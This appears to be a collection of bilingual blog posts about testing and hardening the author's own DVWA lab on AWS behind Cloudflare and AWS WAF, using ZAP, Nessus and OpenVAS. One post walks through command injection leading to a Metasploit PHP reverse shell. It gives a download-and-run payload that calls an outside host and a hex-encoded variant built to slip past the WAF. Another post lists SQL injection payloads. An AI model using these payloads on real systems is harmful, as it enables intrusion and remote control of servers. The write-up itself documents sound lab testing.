OWASP ZAP Automated Scan

I was try find vulnerabilities in tha DVWA with the tool OWASP ZAP, later any try I can develop a script in python what to use the API OWASP and identify vulnerabilities

The DVWA architecture is as follows to https://balanceador.solociberseguridad.com/

- Proxy with Cloudflare, its traffic proxied through Cloudflare.

- AWS WAF: 1 Web ACL for web application

- Load Balancers AWS: 2 EC2 instances.

I did make the follows steps:

1. Enable the API OWASP to let connexions and It can make the scan automate.

2. I know the parameters received by the request; It's username, password and user token.

3. I undertand the process or flow what the tool OWASP do, for example; first define the context, second run a spider then execute a scan pasive and later execute active scan, finally generate the report.

Now what I know the basic functionality of that tool, I will write a script to automate scan. I did forget say what I use the library or package zap-proxy.

1. Import the libraries

2. Create a Construct of Class with parameters

3. I did create the function to login in the web application

4. Define the function to init the spider

5. I did create 2 functions, one to passive scan and other to active scan.

6. Finally I did define the functions to create the reports in format html and json.

7. Later when It script finish, I can see the attack to the web application.

In the window "Alertas" I can see all the vulnerabilities identify, all these haven't 100% success. I will check because it application web DVWA is behind a WAF AWS and Cloudflare.

8. In the terminal too I will see the output or step a step execute of the script in python.

The report in format html is:

It was complex, I don't actually a write in English. Chausito.

I play with DVWA protected by AWS WAF

Hello, today I play with Damn Vulnerable Web Application, this application was deployed in AWS. The objective is execute commands to gain access how root user.

First I go to option "Command Injection" and execute a ping for 8.8.8.8, that ip address is owner google, only was used for validate conexion a internet.

Now try execute two commands with help the pipe "|".

The command executed without errors, then we can try other commands, for example a reverse conexion to a remote kali linux.

In Kali linux open msfconsole and make payload, so execute the follow commands:

• sudo msfconsole
• use exploit/multi/script/web_delivery
• show targets
• set target 1
• set payload php/meterpreter/reverse_tcp
• set lhost 18.188.109.166 (Kali hosted in AWS)
• set lport 4444 

[*] Run the following command on the target machine:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://18.188.109.166:8080/LvtZ8HfQGHYG', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

Now launch BurpSuite to sent command, in the first try get code 403

in the second try I sent the command in format encode and get same code 403

then I sent the command in format encode but 7 times encodes and get same code 403

The goal is to reconstruct the PHP functions and the URL at runtime, without literally writing `eval`, `assert`, or `file_get_contents`, and also to encode the URL in hexadecimal.

We will use:

`chr()` to generate the strings `assert` and `file_get_contents` from their ASCII values.

`\xHH` (hex escape) within a PHP string for the URL.

`$` escaping so that the shell doesn't interpret the variables as its own.

In the machine Kali Linux with msfconsole can see one sessions generate by meterpreter, then I can execute any command in this server DVWA.

127.0.0.1; php -d allow_url_include=1 -r "\$u=\"\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x31\\x38\\x2e\\x31\\x38\\x38\\x2e\\x31\\x30\\x39\\x2e\\x31\\x36\\x36\\x3a\\x38\\x30\\x38\\x30\\x2f\\x67\\x38\\x31\\x4c\\x37\\x66\\x67\\x45\\x59\\x38\";include \$u;"

In the terminal de msfconsole get reverse shell of DVWA through port 444, then I can execute all the commands include in msfconsole.

Now take control of the system operative and I create a folder in the path where bypass WAF AWS

The result final is see the folder in the browser

Don't forget what the machine victime and attack necessary have port 4444 open.

GitHub Security

Today I remembered I have an old repository without a scan vulnerability, then decided to search for bug codes. 

The first step is to enable the options "Dependabot, Code Scanning, Secret Scanning." The code of the project was written in PHP language. It's required to add tools, for example, Psalm Security Scan, PHPMD, SonarWube and others.

The result was fallow:

1. Malware

2. Vulnerabilities

3. Code Scanning

4. Secret Scanning

Those results are awesome, and I do a similar test for project "DVWA".

The result was fallow:

1. Vulnerabilities

2. Code Scanning

The process of patching is another history. That's all.

Asegurando DVWA en AWS | SQLI

En la automatización con Nessus y OpenVas utilizamos el DVWA (Damn Vulnerable Web App), ahora vamos a poner unos controles para evitar que las herramientas ya mencionadas identifiquen vulnerabilidades de riesgo medio.

*Primero: Creamos un Balanceador de carga para asociarlo a nuestra instancia EC2 que tiene expuesto el puerto 80.

El balanceador de carga de aplicaciones distribuye el tráfico HTTP y HTTPS entrante entre varios destinos, como instancias de Amazon EC2, microservicios y contenedores, en función de los atributos de la solicitud. Cuando el balanceador de carga recibe una solicitud de conexión, evalúa las reglas del agente de escucha por orden de prioridad para determinar qué regla se debe aplicar y, si corresponde, selecciona un destino del grupo de destino para la acción de la regla.

La Arquitectura Ideal

Para proteger una aplicación (como un entorno de pruebas DVWA) no apuntamos el tráfico directo a la EC2. En su lugar, implementamos un flujo de capas:
Usuario ➔ Cloudflare (DNS/Proxy) ➔ AWS ALB (Load Balancer) ➔ AWS WAF ➔ Instancia EC2 (Subred Privada)

Para que el balanceador distribuya el tráfico, creamos 2 instancias con el servicio web publico.

Establecemos las reglas de entrada y salida a través de los "Security Groups"

También utilizamos Cloudflare para redireccionar el tráfico hacia nuestro Application Load Balancer (ALB) de AWS.

Para finalizar, realizamos un Network Scan con Nessus Professional para identificar vulnerabilidades; intentamos un Web Application Test y no permite, el target al momento de lanzar el scan lo pone vacío. Esas son algunas restricciones del trial de Nessus, pero bueno, recurrimos a OpenVas XD.

Ahora los resultados son distintos; con la arquitectura actual solo identifico 13 alertas que posiblemente permitirían obtener información del servidor.

OpenVas siempre nos ayuda y no pone restricciones. Comparto reporte de vulnerabilidades con OpenVas.

Intentamos realizar SQL Injecton para validar si el balanceador protege contra ataques SQL

a) 1' or 1=1 #

b) 1. test' union select null, version() #

Con esto validamos que el balenador de AWS no protege ni está configurado para bloquear ataques SQL Injection. La configuración inicial de Cloudflare tampoco, solo dirige el tráfico a través de su proxy.

Entonces creamos unas reglas en Cloudflare; si eso no es suficiente, configuraremos el WAF de AWS.

Primero vamos con Cloudflare.

Nos centramos en el amado "union select" podemos poner 4000 caracteres y buscar payloads como los de pentestmonkey para armar o utilizar el "expression builder". En total se puede crear 5 reglas con la versión free.

Utilizamos: 1' OR 1=1 union SELECT user()#

Cloudflare detectará la SQL injection y bloqueará la peticion.

En la imagen se visualiza que nueva regla con nombre "Regla SQL Injection" tiene la acción de "block"

Ahora vamos a configurar un WAF en AWS e intentaremos hacer un SQLInjection.

Revisamos el log de la inyección y visualizamos que el WAF está funcionando.

Automatización de Vulnerabilidades: Potenciando Nessus vía API

 La gestión manual de escaneos es cosa del pasado. En entornos ágiles (DevSecOps), la capacidad de automatizar, orquestar y exportar datos de vulnerabilidades mediante la API de Nessus permite reducir tiempos de respuesta y eliminar errores humanos.

Pilares de la Automatización

Para dominar el control remoto de Nessus, debemos centrarnos en tres ejes principales:

• Orquestación de Ciclos de Vida: Crear, configurar y lanzar escaneos programados o disparados por eventos (por ejemplo, al desplegar un nuevo contenedor).

• Gestión de Activos (Assets): Actualizar dinámicamente las listas de objetivos (targets) sin intervenir la interfaz web.

• Extracción de Inteligencia: Exportar reportes en formatos JSON o .nessus para procesarlos en herramientas propias, dashboards de BI o sistemas de ticketing

El Flujo Maestro (Workflow)

1. Autenticación: Uso de accessKey y secretKey mediante el encabezado X-ApiKeys.

2. Identificación de Políticas: Consultar los policy_id para asegurar que el escaneo cumple con los estándares requeridos.

3. Lanzamiento: Ejecutar el endpoint /scans para iniciar la tarea.

4. Monitoreo: Consultar el estado hasta que el valor sea completed.

5. Descarga: Generar el archivo de salida y transferirlo para su análisis posterior.

*** Desde la versión Nessus 10 no permiti usar su api en versiones Trial (Nessus Professional o Nessus Expert) para realizar escaneos de vulnerabilidades; se requiere otro tipo de licencia que no vamos a explicar. Para los curiosos, se necesitaria Tenable Vulnerability Management (antes Tenable.io) o Tenable Security Center. Conseguir una versión de prueba requiere demaisada paciencia.

 

*** Solo utilizaremos el API para gestionar los reportes que realizaremos de manera manual; con eso sabremos cómo funcionaría en un entorno ideal con la autorización de Nessus para realizar lo que no está permitido por políticas de licencias.

Vamos a realizar un scan al host dvwa.solociberseguridad.com de manera manual, tambien a otros dentro de mi red Lan. Luego realizaremos peticiones web a los reportes elaborados por Nessus Pro.

Realizo un scan a un DVWA local, no configuro puertos, tipo de scan, assessment ni credenciales, lo que obtenga por defecto, solo me interesa consumir el reporte a través de la API.

Validamos que el API este activo, Nessus cada vez está más fino en sus controles.

Antes de empezar a programar, obtenemos las credenciales para usar la API, esa solo dura 6 días y mi servidor no está público.

Luego hacemos una petición web para obtener el json que contiene todos los datos del reporte generado por Nessus. El reporte de la interfaz de Nessus indica que identificó 43 alertas: 3 bajas, 14 medias, 1 alta y 2 críticas; de igual manera, se visualiza a la izquierda en el json obtenido. Debo precisar que levanté un sistema web en mi equipo local para realizar una petición remota al servidor Nessus configurado en una máquina virtual; para más detalle, leer la API de Nessus.

En otra vista vemos el detalle de críticas y altas; las vulnerabilidades medias fueron agrupadas por Nessus. Lo importante es que logramos validar la automatización.

Ahora solo nos falta una licencia con permisos para lanzar SCAN sin restricciones.

Fin.

Automatización OpenVAS: De la Detección Manual al Monitoreo Continuo

La automatización con OpenVAS (Greenbone Community Edition) consiste en transformar un proceso de escaneo estático en un flujo de trabajo dinámico y programable. En lugar de ejecutar escaneos manualmente, utilizamos protocolos y APIs para integrar la detección de vulnerabilidades directamente en el ciclo de vida del desarrollo o en la gestión de infraestructura.

Pilares de la Automatización con OpenVAS

• GMP (Greenbone Management Protocol): Es el corazón de la automatización. Este protocolo basado en XML permite que aplicaciones externas (como un dashboard en Laravel) den instrucciones al motor de escaneo, gestionen tareas y recuperen reportes sin intervención humana.

• Orquestación con Docker: El uso de contenedores permite desplegar sensores de OpenVAS de manera consistente en entornos Debian o Ubuntu, facilitando la escalabilidad y el mantenimiento de versiones estables y seguras.

• Integración de Datos (CVE Feeds): La automatización asegura que el sistema reciba actualizaciones diarias de los feeds de vulnerabilidades (NVD, CERT), garantizando que los escaneos se realicen siempre contra las amenazas más recientes detectadas globalmente.

¿Por qué automatizar?

1. Reducción del Tiempo de Respuesta (MTTR): Detectar una vulnerabilidad crítica (CVE) minutos después de que aparece en el feed, en lugar de esperar al escaneo mensual programado.

2. Visibilidad Centralizada: Al integrar OpenVAS con aplicaciones personalizadas (usando C# o Python), es posible crear tableros que prioricen riesgos según el contexto del negocio.

3. Eficiencia Operativa: Elimina la carga administrativa de configurar tareas repetitivas, permitiendo que los analistas se enfoquen en la remediación y no solo en la búsqueda.

Automatización de OpenVas

Luego de realizar configuraciones internas en el servidor de OpenVAS, desarrollo un sistema web que pueda controlar y realizar escáner de vulnerabilidades a través de peticiones web.

El host de prueba será "dvwa.solociberseguridad.com" con proxy gestionado por CloudFlare, no le veo sentido hacer una prueba en un entorno local (192.168.100.69), encontrará muchas vulnerabilidades.

El objetivo de esta automatización es realizar peticiones a demanda a través de un sistema web.

Realizo la peticion 

http://localhost/scan/run?ip=dvwa.solociberseguridad.com&scan_type=Full%20and%20fast

Con esto En este punto puedo validar  la prueba de concepto; puedo realizar N^n (N a la n) peticiones usando python, php, c# o cualquier lenguaje de programación.

Queda pendiente el uso de componentes de inteligencia artificial en el monitoreo continuo de vulnerabilidades.